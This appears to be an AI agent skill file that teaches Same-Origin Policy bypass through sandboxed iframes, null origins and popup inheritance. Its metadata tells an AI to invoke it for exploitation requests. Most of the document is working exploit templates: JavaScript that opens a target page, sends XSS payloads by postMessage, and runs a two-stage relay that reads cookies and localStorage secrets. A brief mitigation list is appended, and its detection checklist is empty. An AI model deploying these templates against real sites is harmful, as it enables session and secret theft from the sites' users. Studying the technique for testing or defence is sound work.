| name | sop-iframe-bypass |
| description | How to exploit Same-Origin Policy (SOP) bypasses using iframes and null origins. Use this skill whenever the user mentions SOP bypass, iframe exploitation, null origin attacks, cross-origin message vulnerabilities, or needs to exploit XSS through iframe manipulation. This skill covers techniques for bypassing origin checks in postMessage handlers, exploiting sandboxed iframe behaviors, and chaining popup inheritance for origin spoofing. |
SOP Bypass with Iframes
This skill covers techniques for bypassing Same-Origin Policy protections using iframe sandboxing and null origin exploitation.
Core Concepts
The Vulnerability Pattern
Many applications use postMessage with origin checks like this:
onmessage = (e) => {
const data = e.data
if (e.origin !== window.origin && data.identifier !== identifier) return
}
The vulnerability exists when:
- The origin check can be bypassed (e.g., both sides become
null)
- The identifier check can be satisfied or bypassed
- The message handler executes untrusted content (XSS)
Null Origin Exploitation
When a page is loaded in a sandboxed iframe without allow-same-origin, its window.origin becomes null.
Key behaviors:
<iframe sandbox="allow-scripts"> → window.origin === null
- Popups opened from null-origin pages inherit the null origin (unless
allow-popups-to-escape-sandbox is set)
- Two null-origin contexts can communicate via
postMessage because null === null
Exploitation Techniques
Technique 1: Direct Sandbox Embedding
If the target page is embeddable (no X-Frame-Options or Content-Security-Policy restrictions):
<iframe sandbox="allow-scripts" src="https://target.com/vulnerable-page"></iframe>
The iframe's window.origin becomes null, bypassing origin checks that compare against window.origin.
Technique 2: Popup Inheritance Chain
When direct embedding isn't possible, use a popup chain:
- Create a sandboxed iframe (origin = null)
- Open a popup from the iframe to the target page
- The popup inherits null origin
- Both contexts can now communicate via postMessage
Required sandbox flags:
allow-scripts - Execute JavaScript
allow-popups - Open popup windows
allow-top-navigation - Navigate the top window (if needed)
Technique 3: Identifier Extraction and Relay
When the target requires an identifier check:
- First message: Send payload to extract the identifier
- Second message: Use the identifier to send the actual exploit
- Chain through the top window if needed
Exploit Template
Basic Null Origin Exploit
<body>
<script>
const iframe = document.createElement("iframe")
iframe.sandbox = "allow-scripts allow-popups allow-top-navigation"
iframe.srcdoc = `
<script>
const popup = open('https://target.com/vulnerable-page');
setTimeout(() => {
popup.postMessage({
type: 'render',
body: '<img/src/onerror=alert(document.cookie)>'
}, '*')
}, 1000);
<\/script>
`
document.body.appendChild(iframe)
</script>
</body>
Advanced: Identifier Extraction Chain
const iframe = document.createElement("iframe")
iframe.sandbox = "allow-scripts allow-popups allow-top-navigation"
const relayPayload = `
const target = opener.top;
target.postMessage(1, '*');
setTimeout(() => {
target.postMessage({
type: 'render',
identifier: 'KNOWN_IDENTIFIER',
body: '<img/src/onerror=alert(localStorage.getItem("secret"))>'
}, '*');
}, 1000);
`.replaceAll("\n", " ")
iframe.srcdoc = `
<script>
const popup = open('https://target.com/vulnerable-page');
onmessage = e => top.location = 'https://target.com/vulnerable-page';
setTimeout(() => {
popup.postMessage({
type: 'render',
body: '<audio/src/onerror="${relayPayload}">'
}, '*')
}, 1000);
<\/script>
`
document.body.appendChild(iframe)
Detection Checklist
Before attempting exploitation, verify:
Mitigation Recommendations
For defenders:
- Never trust
window.origin alone - Use explicit allowlists
- Validate message sources - Check against known domains, not just equality
- Sanitize all content - Use DOMPurify or similar before innerHTML
- Set X-Frame-Options - Prevent embedding:
DENY or SAMEORIGIN
- Use Content-Security-Policy - Restrict frame-ancestors
- Avoid identifier-based auth - Use proper authentication tokens
Common Pitfalls
- Cookies: May need
SameSite=None; Secure for cross-origin iframe access
- Popup blockers: Users may block the popup window
- CSP restrictions: frame-ancestors policy may prevent embedding
- Timing: Use setTimeout to ensure popup is ready before messaging
- Origin comparison:
null === null is true, but null === "https://..." is false
Related Techniques
- DOM Clobbering for origin manipulation
- Data URI origin exploitation
- Blob URL origin bypasses
- postMessage targetOrigin validation bypasses